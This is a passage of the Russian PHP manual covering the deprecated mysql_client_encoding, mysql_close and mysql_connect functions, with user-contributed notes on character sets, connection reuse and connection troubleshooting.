CAUSE
When the first query (the REPLACE query) deletes a record from t1 in the first stage of the REPLACE operation, it cascades the delete to the record that would be duplicated in t2. The second query then does not fail because the "duplicate" record is no longer a duplicate, as the original one has just been deleted.
steffen at showsource dot dk 28-Sep-2004 03:20
Using OPTIMIZE TABLE will also return true.
So, if you want to check the numbers of deleted records, use mysql_affected_rows() before OPTIMIZE TABLE
deponti A_T tiscalinet D0T it 07-Nov-2003 04:52
It works also for REPLACE query,returning:
0 if the record it's already updated (0 record modified),
1 if the record it's new (1 record inserted),
2 if the record it's updated (2 operations: 1 deletion+ 1 insertion)


Возвращает кодировку соединения

  • « mysql_affected_rows
  • mysql_close »
  • PHP Manual
  • MySQL
  • Возвращает кодировку соединения

mysql_client_encoding

(PHP 4 >= 4.3.0, PHP 5)

mysql_client_encoding — Возвращает кодировку соединения

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_character_set_name()

Описание

mysql_client_encoding(resource $link_identifier = NULL): string

Возвращает значение переменной MySQL character_set.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает используемую по умолчанию кодировку для данного соединения.

Примеры

Пример #1 Пример использования mysql_client_encoding()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$charset = mysql_client_encoding($link);

echo "Текущая кодировка: $charset\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Текущая кодировка: latin1

Смотрите также

  • mysql_set_charset() - Устанавливает кодировку клиента
  • mysql_real_escape_string() - Экранирует специальные символы в строках для использования в выражениях SQL

User Contributed Notes

devos at montp dot inserm dot fr 23-Aug-2007 03:30
I use mysql 3.23 and none of the above worked for me. Looking at http://dev.mysql.com/tech-resources/articles/4.1/unicode.html as advised by romain at dardour dot com, I tried to include the following header in my php scripts, and all the funy characters disapeared. Hope it will help.

<?php header("Content-type: text/html; charset=latin1");?>

(my mysql character was latin1)
php at quarkus dot de 25-Jul-2007 06:23
Please note that even if you set the charset by issuing the two mentioned SQL statements (set names, set character set) mysql_client_encoding still deliveres the old result.

Default for me is latin1. After switching to UTF8 mysql_client_encoding still returns latin1. The charset switched to UTF8 successfully, though.
roy dot the dot geek+php at gmail dot com 23-Jan-2007 05:37
f you think "set names utf8" for each connection is too trouble, you can modify my.cnf of MySQL to solve the problem forever. In my.cnf, add the line "default-character-set=utf8" in both [mysqld] and [client] sections:

[client]
default-character-set=utf8

[mysqld]
default-character-set=utf8

The MySQL will use utf8 after you restart it.
Pedro Pereira 09-Sep-2006 07:30
All I had to do to save utf8 data with php mysql_query() was to go to the php.ini and put default_charset = "utf-8". Without this I had the same problems some of you have. Plus, all my mysql charsets vars are in 'utf8'. (Changed them with Mysql Admin Tool)

Didnt use any mysql SET **** command at all.

Mysql 4.1.20
PHP 4.4.4
Win XP

Hope this help some of you.
alamakota at mises dot pl 26-Jul-2006 07:13
There's no 'character_set' variable available in MySQL. You can check it yourself in MySQL online documentation or by running MySQL query "SHOW VARIABLES LIKE 'character_set%';".
This must be an error in PHP manual, unless I'm missing something.
21-Jul-2006 05:46
A very easy way to always get results in UTF-8 is to make a common function to connect to DB and in that function set character set to utf-8.

function OpenConn() {
  global $link;
  $link = mysql_connect ("localhost", "username", "password")
      or die(sendError('Could not connect to DB'));
  mysql_select_db ("dbName");
  //
  // Set character set to UTF-8
  //
  mysql_query("SET CHARACTER SET 'utf8'", $link);
}
romain at dardour dot com 15-May-2006 08:56
I couldn't get any luck with all the stuff mentioned below, and despite having an unicode DB, and setting all my field to utf8_general_ci...
After looking around, I found that this page: http://dev.mysql.com/tech-resources/articles/4.1/unicode.html was adding the fields with an extra info before each value:

<?
mysql_query("INSERT INTO table SET field = _utf8'value'");
?>
Mind the "_utf8" before the field value, and outside of the quotes.

This works for me wether in an Insert or an Update statement.

No need here for a <? mysql_query("SET NAMES utf8"); ?> before each query, or to change anything in the config files (that was important since I don't have access to these).
zayfod at yahoo dot com 21-Apr-2006 04:57
The right lines to put in /etc/my.cnf (or other MySQL options file) are:

[client]
init-command="SET NAMES utf8"

Unfortuantely the PHP mysql_connect() function does not use MySQL options files so this is not a sollution for changing the default connection character set for mysqlclient library v4.1+.

The only working sollution remains:

mysql_query("SET NAMES utf8", $conn);

(of course /ext/mysql/php_mysql.c can always be patched ;] )
Wio at psitrax dot de 16-Mar-2006 09:24
If you set the encoding in my.cnf like

[mysqld]
init_connect='SET NAMES utf8'

note that the content of init_connect  is not executed for users that have the SUPER privilege - ie root!
vrbcik 27-Nov-2005 09:26
I have had problems with encoding after export of tables (from hosting - via PhpMyAdmin) and import them to other machine (my notebook - via PhpMyAdmin too). In PhpMyAdmin the encoding of all data was shown correctly, not that good with the web pages (data pulled via php).
The first point is indication, that the data was imported correctly, but php script has got other character set than MySql is sending.

The script's character set is set in header: <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-2">. MySql setting was latin1.

Then following code helped me:

<?php
mysql_query("SET CHARACTER SET 'latin2'", $conn);
?>
info at jantichy dot cz 30-Dec-2004 02:02
Notice the difference between following two SQL statements:

SET NAMES 'charset_name'
SET CHARACTER SET charset_name

For more detail see
http://dev.mysql.com/doc/mysql/en/Charset-connection.html
black at scene-si dot org 20-Oct-2004 04:04
the above (as it seems to be vaguely indicated in the mysql manual) works only with mysql 4.1+
stian at grytoyr dot net 19-Oct-2004 06:09
If you experience weird problems, like some UTF-8 characters (the Unicode character &#x010D and a few others in my case) seemingly being changed to garbage by mysql_query, you may need to do something like this before your actual query:

<?php
mysql_query("SET NAMES 'utf8'", $conn);
?>

Took me days to figure that one out...


Закрывает соединение с сервером MySQL

  • « mysql_client_encoding
  • mysql_connect »
  • PHP Manual
  • MySQL
  • Закрывает соединение с сервером MySQL

mysql_close

(PHP 4, PHP 5)

mysql_close — Закрывает соединение с сервером MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_close()
  • PDO: Присвоить значение null объекту PDO

Описание

mysql_close(resource $link_identifier = NULL): bool

mysql_close() закрывает непостоянное соединение с базой данных MySQL, на которое указывает переданный дескриптор. Если параметр link_identifier не указан, закрывается последнее открытое (текущее) соединение.

Открытые непостоянные соединения MySQL и результирующие наборы автоматически удаляются сразу по окончании работы PHP-скрипта. Следовательно, закрывать соединения и очищать результирующие наборы не обязательно, но рекомендуется, так как это сразу же освободит ресурсы базы данных и память, занимаемую результатами выборки, что может положительно сказаться на производительности. Больше информации можно почерпнуть в разделе Освобождение ресурсов

Список параметров

link_identifier

Соединение MySQL. Если не указано, то используется последнее соединение, открытое mysql_connect(). Если соединение не найдено или не установлено, то будет сгенерирована ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_close()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
echo 'Успешно соединились';
mysql_close($link);
?>

Результат выполнения данного примера:

Успешно соединились

Примечания

Замечание:

mysql_close() не закрывает постоянные соединения, созданные функцией mysql_pconnect(). Для дополнительной информации смотрите руководство по постоянным соединениям.

Смотрите также

  • mysql_connect() - Открывает соединение с сервером MySQL
  • mysql_free_result() - Освобождает память от результата запроса

User Contributed Notes

omega99999 at gmail dot com 20-Feb-2011 01:44
The variable is definitely not optional in 5.3... Caused me a bit of a headache when I was debugging until I realized it was the close function that was causing a hang. So if using just:

<?php
mysql_connect(<...>);

mysql_close();
?>

Use:

<?php
$connection = mysql_connect(<...>);

mysql_close($connection);
?>

(where $connection is any variable of your choice)
mdes[SPAM]saintes at gmail dot com 09-Jul-2010 09:12
i just came over a problem that i had with apache.

It crashs and said :

"Parent: child process exited with status 3221225477 -- Restarting."

the error came from the extesion php_mysql.dll

i didn't understand what was the reason of that crash..

Then, i debug the script that i had downloaded and i noticed that that was the function mysql_close() which caused the problem.

The solution is, to send to it the link identifier which is optionnal in the description but cause a crash with no commentary.

Thanks to agneady.
Anonymous 23-Apr-2010 02:26
At least with PHP5.3.2 and Windows connecting by tcp, you should always use this mysql_close() function to close and free up the tcp socket being used by PHP.  Garbage collection after script execution does not close the tcp socket on its own.  The socket would otherwise remain in 'wait' state for approximately 30 seconds, and any additional page loads/connection attempts would only add to the total number of open tcp connections.  This wait time does not appear to be configurable via PHP settings.
bbodelcampo at yahoo dot co dot uk 13-Dec-2005 05:20
A little note about multiple simultaneous connections to different hosts...

I work on a site that pulls content primarily from one db but uses a db on a foreign server to verify licensing.  One might expect the following to work:

<?php
// Open the connection to the primary db
$res1 = mysql_connect($host1, $user1, $pass1);
mysql_select_db($db1);

// Open connection to the license server
$res2 = mysql_connect($host2, $user2, $pass2);
mysql_select_db($db2, $res2);

// Pull license data and close when done
mysql_query($check_sql, $res2);
// ...
mysql_close($res2);

// Now pull content from the primary db
// Not specifying the resource should default to the last open db
mysql_query($query);
// ...
?>

Turns out this last query, since it cant find an active connection, will try to connect with mysql_connect() with no paramaters.  But if instead you do it as mysql_query($query, $res1), or alternatively, run the mysql_connect for this host again then it works fine.  Thus, it doesnt seem to be possible to have code with an overarching "global" db connection interspersed with temporary connections to another host/db....
levi at alliancesoftware dot com dot au 29-Apr-2005 12:03
As at 5.0.x and 4.3.x: This function should never be used with shared links; instead you should set your link variables to null.
(This explains red's and beer's () problems in previous comments)

  Here is how shared links work:
  - Each link is a resource. mysql_connect() by default looks for a resource with the same paramaters. If one exists, it will return the existing resource.
  - Every assignment of that resource to a variable increases the resource's reference count.
  - When the reference is decremented to zero, the underlying TCP/socket connection is closed.
    - Every assignment of a variable away from that resource decrements the reference count. (This includes a function level variable going out of scope)
    - mysql_close() also decrements the reference count.

Note the last two points: mysql_close() _and_ reassignment of a variable decrement the link's reference count.

A common mistake is a function like:

<?php
function dothings() {
  $link = mysql_open(...);
  // .. do some queries ..
  mysql_close($link)
  $link = null;
}
?>

this will decrement the counter twice, possibly closing the underlying connection and causing errors in other parts of the program.

http://bugs.php.net/bug.php?id=30525 "this is not a bug but just how it works"
beer_nomaed _AT_ hotmail _DOT_ com 03-Dec-2004 01:26
Be careful when using multiple links to connect to same database (with same username). Unless you specify explicitly in mysql_connect() to create a new link, it will return an already open link. If that would be closed by mysql_close(), it will also (obviously) close the other connection, since the link is the same.
Had lot of trouble figuring it out, since in <=4.3.6 there was a bug which didn't close the connection, but after the patch to >=4.3.7, all my application broke down because of a single script that did this.


Открывает соединение с сервером MySQL

  • « mysql_close
  • mysql_create_db »
  • PHP Manual
  • MySQL
  • Открывает соединение с сервером MySQL

mysql_connect

(PHP 4, PHP 5)

mysql_connect — Открывает соединение с сервером MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_connect()
  • PDO::__construct()

Описание

mysql_connect(
string $server = ini_get("mysql.default_host"),
string $username = ini_get("mysql.default_user"),
string $password = ini_get("mysql.default_password"),
bool $new_link = false,
int $client_flags = 0
): resource|false

Открывает новое соединение с сервером MySQL или использует уже существующее.

Список параметров

server

Сервер MySQL. Может также включать номер порта, например, "hostname:port" или путь к локальному сокету, например, ":/path/to/socket" для локального сервера.

Если PHP-директива mysql.default_host не определена (по умолчанию), то значением по умолчанию является 'localhost:3306'. В SQL safe mode этот параметр игнорируется и всегда используется значение 'localhost:3306'.

username

Имя пользователя. Значение по умолчанию определяется директивой mysql.default_user. В SQL safe mode этот параметр будет проигнорирован и будет использован пользователь, владеющий процессом сервера.

password

Пароль. Значение по умолчанию определяется директивой mysql.default_password. В SQL safe mode этот параметр будет проигнорирован и в качестве пароля будет использована пустая строка.

new_link

Если второй вызов функции mysql_connect() произошёл с теми же аргументами, то новое соединение не будет установлено. Вместо этого функция вернёт ссылку на уже установленное соединение. Параметр new_link может заставить функцию mysql_connect() открыть ещё одно соединение, даже если соединение с аналогичными параметрами уже открыто. В SQL safe mode этот параметр игнорируется.

client_flags

Параметр client_flags должен быть комбинацией из следующих констант: 128 (включает обработку LOAD DATA LOCAL), MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE or MYSQL_CLIENT_INTERACTIVE. Подробнее читайте в разделе Клиентские константы MySQL. В SQL safe mode этот параметр игнорируется.

Возвращаемые значения

Возвращает дескриптор соединения с MySQL в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_connect()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
echo 'Успешно соединились';
mysql_close($link);
?>

Пример #2 Пример использования mysql_connect() с синтаксисом hostname:port

<?php
// соединяемся с example.com на порту 3307
$link = mysql_connect('example.com:3307', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
echo 'Успешно соединились';
mysql_close($link);

// соединяемся с localhost на порту 3307
$link = mysql_connect('127.0.0.1:3307', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
echo 'Успешно соединились';
mysql_close($link);
?>

Пример #3 Пример использования mysql_connect() с синтаксисом ":/path/to/socket"

<?php
// соединяемся к localhost по сокету, т.е. /tmp/mysql.sock

// вариант 1: не указываем localhost
$link = mysql_connect(':/tmp/mysql', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
echo 'Успешно соединились';
mysql_close($link);

// вариант 2: указываем localhost
$link = mysql_connect('localhost:/tmp/mysql.sock', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
echo 'Успешно соединились';
mysql_close($link);
?>

Примечания

Замечание:

При указании параметру server значения "localhost" или "localhost:port" клиентская библиотека MySQL будет пытаться соединиться с локальным сокетом. Если вы всё же хотите использовать TCP/IP, используйте адрес "127.0.0.1" вместо "localhost". Если клиентская библиотека пытается подключиться не к тому локальному сокету, правильный путь должен быть установлен через указание директивы php.ini mysql.default_host в php.ini, после чего можно оставлять параметр server пустым.

Замечание:

Соединение с сервером будет закрыто при завершении исполнения скрипта, если только до этого оно не было закрыто с помощью функции mysql_close().

Замечание:

Ошибка "Can't create TCP/IP socket (10106)" (Невозможно создать сокет TCP/IP) обычно означает, что конфигурационная директива variables_order не содержит символ E. В Windows, если в окружение не будет скопирована переменная окружения SYSTEMROOT, то PHP будет испытывать проблемы при загрузке Winsock.

Смотрите также

  • mysql_pconnect() - Устанавливает постоянное соединение с сервером MySQL
  • mysql_close() - Закрывает соединение с сервером MySQL

User Contributed Notes

VTool 27-Oct-2016 07:11
fcgid_module modules/mod_fcgid.so
FcgidMaxRequestLen 209715200
FcgidConnectTimeout 240
FcgidIOTimeout 240
FcgidBusyScanInterval 240
FcgidBusyTimeout 240
# Esta linea instruye al servidor web para que reconozca un tipo nuevo (php)
AddHandler fcgid-script .php
# Esta linea indica al servidor web donde esta instalado PHP.
FcgidInitialEnv PHPRC "c:/php"
# Esta linea indica al servidor web que debe ejecutar la aplicacion
# php-cgi.exe cuando un cliente (navegador) solicite una pagina con
# extension .php
FcgidWrapper "c:/php/php-cgi.exe" .php
# Con esta linea damos los permisos necesarios para que los clientes puedan
# acceder/ejecutar a los archivos .php
<Directory "c:/Apache/htdocs">
Options Indexes FollowSymLinks Includes ExecCGI
AllowOverride None
Allow from all
</Directory>
pepik at gmail dot cz 19-Jun-2013 11:50
<?php
 $server = 'y.com';
 $login='x';
 $pass='x';
 $db='x';

 $spojeni=mysql_connect($server,$login,$pass) or die ('nelze se pripojit');
 mysql_select_db($db,$spojeni);
 mysql_query("Set names 'utf8'");
?>
yangqingrong at wudimei dot com 18-May-2013 02:17
hello,every one.
  do use "127.0.0.1" instead of "localhost" for php5.4-win7 if you feel the speed is slow.because win7 use ipv6 default.
   "localhost" is for ipv4.

  <?php
   $conn =mysql_connect( "127.0.0.1",
                                       "root",
                                       "pass");
 ?>
trev at dedicate dot co dot uk 07-Aug-2012 04:42
A little note if your scripts sleep a lot, you want to run exactly the same SQL statement 2+ times and you have the "MySQL has gone away" error a lot.

Try setting the 4th parameter to TRUE as it seems sometimes PHP doesn't spot that resource ID x which it used for the last identical lookup is now dud and so tries to use it, thus bypassing tests such as is_resource() and causing a failure.

This is for when mysql_ping() doesn't work for your situation of course.
nicodenboer at yahoo dot com 20-May-2012 01:50
Be carefull here if you use utf8.

The file db.opt of your database should contain the following lines:
default-character-set=utf8
default-collation=utf8_general_ci

It means that your database is created to use the utf8 characterset.
One way to accomplish this is:
CREATE DATABASE my_database DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

Then, after connecting to it from PHP you should use:
mysql_set_charset("UTF8", $connection);

If you don't do this, you will get ugly problems in case other software is reading and writing to the same database!!!!!!
php at lanar dot com dot au 15-Apr-2012 01:11
After upgrading mysql sever to 5.5.21 from 5.0.9 on centos, my WinXP stopped being able to connect with host with the error message
'Bad Handshake'.

Eventual solution to problem was to remove MYSQL_CLIENT_SSL from the call to mysql_connect().

I will also report this as a bug.
bimal at sanjaal dot com 05-Jun-2011 12:15
Portable connections: If you migrate your source code from one to different servers and you would like to avoid re-configuration on a new serve, user the $_SERVER['SERVER_NAME'] flag as:

<?php
switch($_SERVER['SERVER_NAME'])
{
case 'server1.example.com':
  mysqlconnect('host1', 'user1', 'password1');
  mysql_select_db('db1');
  break;
case 'server2.example.com':
  mysqlconnect('host2', 'user2', 'password2');
  mysql_select_db('db2');
  break;
}
?>

This makes a conditional connection to mysql database. It automatically chooses the correct server according to the server name from where your script runs.

Hopefully, you like this portable configuration.
avinc@live,hk 18-Apr-2011 05:47
My situation: "I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP"

But, PHP only can connect to MySQL using mysql_connect("localhost", "root", "password");

"Its selinux not allowing apache to make remote connections"

Solution:
setsebool -P httpd_can_network_connect=1
Harouk 28-Jan-2011 06:11
If you encounter speed problems using this command to a distant server, you can add the line "skip-name-resolve" in your my.cnf to fix it.
i dot linker at gmail dot com 13-Nov-2010 10:55
MySQL connection string regexp:
~mysql://([^:@/]*):?([^@/]*)@?([^/]*)/?([^/]*)~
tpl99 at yandex dot ru 30-Apr-2010 01:56
Whenever you open two connections to a single database,
you are likely not to get any error when selecting not existing db.

<?php
$db1 = mysql_connect( ... );
mysql_select_db('existing_db',$db1);

$db2 = mysql_connect( ... );
mysql_select_db('not_existing_db', $db2);

mysql_query(... , $db2);
//will return no errors and the query wouldn't be executed.
?>

Pay attention and you may save few hours of debugging.
abelcheung at gmail dot com 17-Mar-2010 10:37
Note that named pipe on Windows is unusable since PHP 5.3, and TCP connection shall be used even in localhost.
sholland at napervillegi dot com 02-Dec-2009 09:18
If you are getting an error "Can't assign requested address" you may have a problem with the mysql port.  I had just moved my server to Mac OS X 10.6 and mysql_connect was giving this error.  Going into the /etc/php.ini file and setting the default port number to 3306 fixed the problem.

mysql.default_port = 3306

The php.ini file suggests that PHP will select the port by using the $MYSQL_TCP_PORT or the mysql-tcp entry in /etc/services, but in this case it is not so.  /etc/services on my machine has 3306 listed, but it didn't get picked up.

This is sort of a bug report, in that the documented feature isn't working.  Please don't delete this until the community decides how to address the problem.  This is one of those hair pulling exercises to get fixed.
david dot schueler at wapkamera dot de 11-Sep-2009 08:51
If you are getting MySQL Errors like #2006: MySQL server has gone away, and you are using mysql_connect() and pcntl_fork() then make shure that you are reconnecting to the mysql server with each created child which you fork()ed.

I pulled my hair out for many days because i was using the same mysql connection for each child and was getting that "MySQL server has gone away" errors.

Here is a simple example:
<?php
$link = mysql_connect($db_server, $db_user, $db_pass);
mysql_select_db($db_database,$link));

$pid = pcntl_fork();
if ($pid == -1)
  // Error forking child
elseif ($pid) {
  // Parent will be here
} else {
  // The child has to esablish a *new* mysql connection.
  // if you use mysql_connect without the 4th parameter
  // then it will use the connection from the parent. But
  // if the child dies, the connection will be unaviable in
  // the parent too.
  // So, note the "true" as 4th parameter.
  $newlink = mysql_connect($db_server, $db_user, $db_pass,true);
  mysql_select_db($db_database,$newlink));
  // ...
}
?>
cory dot mawhorter gmail.com 02-Jul-2009 04:38
Hopefully this saves someone some grief.

My dev computer is windows and runs wampserver.  I have frequent problems with PHP being unable to connect to MySQL after periods of extreme DB activity.

Long story short, it was because I was not running mysql via named-pipes and Windows was running out of available ports to serve PHP.  Apparently, on windows, you have 5000 ports to work with and once they are opened, they remain so for 120 seconds before being released.  This causes problems with mysql/networking because a new port is requested for each connection.

You can read more about the problem at:
(Link too long and had to be broken up)
http://dev.mysql.com/doc/refman/5.0/en
/can-not-connect-to-server.html#can-not-connect-to-server-on-windows
?>

Since mysql is on localhost, I can just enable named-pipes (which is how you should have mysql setup if you don't need networking) to get around the problem instead of the workaround listed on that page.

For details, see:
http://dev.mysql.com/tech-resources
/articles/securing_mysql_windows.html
Contact at LinuxIntro dot com 27-Oct-2008 09:34
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);
bmagilavy at avalon-internet dot com 04-Sep-2008 01:00
If you trying to connect to a remote server, here are a few things that can go wrong. Perhaps this list will save someone some time:

1. You may need to get in touch with the remote server's tech support:

 a. to ensure that you can get through its firewall. It is not necessarily enough to have your server number listed in the recipient site's cpanel remote access host list. It depends on how the server company has things set up;

 b. to find out what port number they are using for database connections, which may not be the default used by mysql_connect;

 c. If you are using ODBC, the host to which you are trying to connect may or may not have any ODBC drivers installed; and

 d. If you are working from a dynamic IP, they may be set up to accommodate it, or you may have to use a proxy. See http://forge.mysql.com/wiki/MySQL_Proxy .

2. If you are working from a shared server yourself, the server number you were sent in the sign-up letter is probably NOT the server number you should be using to connect to a remote database. You need the server number of the machine on which your site is sitting, not your virtual account server number on that machine. You can get this from your own tech support.

I am grateful to Jonathan Jones at Bluehost for this analysis.
pascalxusNOSPAM at yahoo dot com 22-Aug-2008 12:08
I just wanted to share a common wrapper that I use for executing one line SQL statements.  Its an easy wrapper to use that takes care of the connection open/close.  Optionally, the mysql_connect can be replaced with mysql_pconnect for persistent connections.

  function executeQuery( $query, $db, $nocon )
  {
      if( $nocon != "nocon" )
        if( $db != "" ) connect( $db );
        else connect( "pascal_crm" );

      $result= mysql_query( $query );
      $err   = mysql_error();
      if( $err != "" ) echo "error=$err  ";

      if( $nocon != "nocon" )
        mysql_close();
      return $result;
  }

Here's a related mysql_pconnect trivia question:
http://www.codesplunk.com/nr/questions/php17.html
arithmetric at gmail dot com 25-Mar-2008 10:59
If you are trying to open multiple, separate MySQL connections with the same MySQL user, password, and hostname, you must set $new_link = TRUE to prevent mysql_connect from using an existing connection.

For example, you are opening two separate connections to two different databases (but on the same host, and with the same user and password):

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname2, $db2);

At this point, both $db1 and $db2 will have selected the database named by $dbname2.

The workaround is to require that the second MySQL connection is new:

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass, TRUE);
$rv = mysql_select_db($dbname2, $db2);

Now, $db1 should have selected $dbname1, and $db2 should have selected $dbname2.

This has been documented on the mysql_select_db page as well.

Note: This occurs only when the server, username, and password parameters are identical for each mysql_connect statement.
aeolianmeson at blitzeclipse dot com 03-Mar-2008 12:15
Recently, I saw an obscure problem where I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP-CLI. This was in Windows (XP). I usually use MySQLi extension, but also tried MySQL, and both refused to work.

I restarted the service multiple times, and the PHP-CLI still would not connect.

This eventually cleared up.

I made sure to stop the service. Then, I downloaded a zipped binary-package from dev.mysql.com and started the server a few times from the commandline (mysqld/mysqld-nt, where mysqld-nt is tuned specifically for Windows) and stopped it ("mysqladmin shutdown"). I was then able to successfully connect from the PHP-CLI ("php -r "mysql_connect('localhost', 'root', ''); ").

Making sure it was stopped, I started the regular server from the commandline, and that was then successful. I then stopped it and started it via the Services panel, and everything still worked.

I'm assuming that when the service was restarted initially, there was a component that had died and refused to be shutdown even though the service appeared to be stopped, but shutting it down via mysqladmin killed everything entirely.
dan at novapulsar dot com 11-Feb-2008 11:24
[EDIT by danbrown AT php DOT net: The issue this user is illustrating is a common problem when dealing with multiple databases from PHP.  Note his comments at the end of the code for an explanation.]

Looks like I learned this the hard way:

<?php

//establish connection to master db server
mysql_connect (DB_HOST, DB_USER, DB_PASSWORD);
mysql_select_db (DB_NAME);

//establish connection to read-only slave cluster
$objMySQL_Read = mysql_connect (SLAVE_DB_HOST, SLAVE_DB_USER, SLAVE_DB_PASSWORD);
mysql_select_db (DB_NAME, $objMySQL_Read);

$strSQL = "SELECT col1,col2 FROM "  . DB_NAME . "." . "tbl1 WHERE 1=1";

$objRS = mysql_query ($strSQL, $objMySQL_Read); //returns data from slaves

$strSQL = "INSERT INTO " . DB_NAME . "." . "tbl1 (col1,col2) VALUES (val1,val2)";

mysql_query ($strSQL);

//expected behavior, to insert the last statement into the master db, since it doesn't reference the read-only resource explicitly. instead, it inserts the record into the last connection, even though it shouldn't, since the last connection is not a global/anonymous connection like the first one, it's $objMySQL_Read.

//you'll get out of sync db's across your cluster unless you explicitly define all connection resources

?>
Steve 24-Dec-2007 03:32
The too many connections issue can be due to several problems.

1. you are using pconnect. This can tie up many connections and is not really needed for MySQL as new connections are really fast.

2. Apache children are hanging around for too long - combine this with pconnect and you have recipe for disaster.

Suggestions: reduce the amount of time apache child processes stay connected to the client and how many connections before they are killed off. And don't use pconnect.
Ignacio Casinelli Esviza 20-Oct-2007 10:51
Sometimes, I want that MySQL service start automatically when my app need it. This is specially true if you work in a development PC and/or in an small intranet environment.

You can do something like this: if the mysql_connect() function returns FALSE, try to force the initialization of the MySQL service!

For example, under Windows:

<?php

$link = @mysql_connect($server,$user,$pass);
if (empty($link)){
    @exec("%SystemRoot%\\system32\\net.exe start mysql");
    sleep(5);
    $link = @mysql_connect($servidor,$usuario,$clave);
}

?>

In Linux of course you can try "/etc/init.d/mysqld start" but you will need special permissions.

Regards.
Peter Robinett 02-Oct-2007 06:20
The use of mysql connections can become tricky with objects. I am using mysql_connect() in a database class I wrote and the class destructor calls mysql_close. Because I have several of these database objects, mysql_connect reuses existing connections. This is fine except when the script reaches the end of execution and PHP's garabage collection calls all the objects' __destruct() functions. mysql_close() throws a warning that the connection is invalid, in my case for one object. This is happening with objects which use an existing connection, as the connection has already been closed. I solved the problem by forcing mysql_connect() to create a new connection each time. This is not efficient but is sufficient for my purposes for now.

I wouldn't say this is a bug per-se, but it's something to look out for. I imagine using mysqli is the ultimate solution...
martin 09-Aug-2007 07:35
MYSQL_CLIENT_SSL is not working, use MySQLi and mysqli->ssl_set()
jslakva at gmail dot com 08-Apr-2007 06:05
if between first and second call with same arguments there was another call with another argument, initial connection link is not reused, but new connection is created instead, regardless of new_link argument.

for example, here only one single link will be opened and then reused:
<?php
$link1 = mysql_connect("localhost");
$link2 = mysql_connect("localhost");
?>

and here _three_ separate links will be opened:
<?php
$link1 = mysql_connect("localhost");
$link3 = mysql_connect("127.0.0.1");
$link2 = mysql_connect("localhost");
?>

so if you wanted to switch between connections just by call to mysql_connect, and rely on its internal link caching, you can be wasting your database connections.
angelo [at] mandato <dot> com 19-Mar-2007 01:07
The post from 'Graham_Rule at ed dot ac dot uk' should include the following WARNING:

WARING: THE VALUES OF THESE DIRECTIVES WILL BE EXPOSED IF ANY OF THE CODE INCLUDES THE phpinfo() FUNCTION.

The phpinfo() function will print these values clear as day.  I highly suggest against this method of storing MySQL authentication information.

I recommend creating connect and cleanup functions in a separate include file.  If security is a concern, locate the include file outside of your web root folder.

<?php
    $g_link = false;

    function GetMyConnection()
    {
        global $g_link;
        if( $g_link )
            return $g_link;
        $g_link = mysql_connect( 'host.name', 'user', 'password') or die('Could not connect to server.' );
        mysql_select_db('database_name', $g_link) or die('Could not select database.');
        return $g_link;
    }

    function CleanUpDB()
    {
        global $g_link;
        if( $g_link != false )
            mysql_close($g_link);
        $g_link = false;
    }

?>

Simply include your connnection.php file in your script and anywhere you use the mysql_query() function include a call to the GetMyConnection() function.

<?php
    $res = mysql_query("SELECT ...", GetMyConnection() );
?>
sky dot sama dot remove dot dots at Gmail dot com 12-Dec-2006 08:42
In case anyone else is getting "Client does not support authentication protocol requested by server; consider upgrading MySQL client" error. The problem is the new password hashing method used by MySQL >= 4.1 mentioned below.

Either update your PHP to v5 where the new password hashing is supported or use old_password() in MySQL 4.1.

FROM: http://www.digitalpeer.com/id/mysql

UPDATE mysql.user SET password=old_password("youroldhashpassword") WHERE user ='youruserid' and host ='yourhost'

then do

FLUSH PRIVILEGES
Graham_Rule at ed dot ac dot uk 10-Nov-2006 01:43
The addition of entries to httpd.conf to stop .inc files being served by Apache is certainly useful and to be recommended.

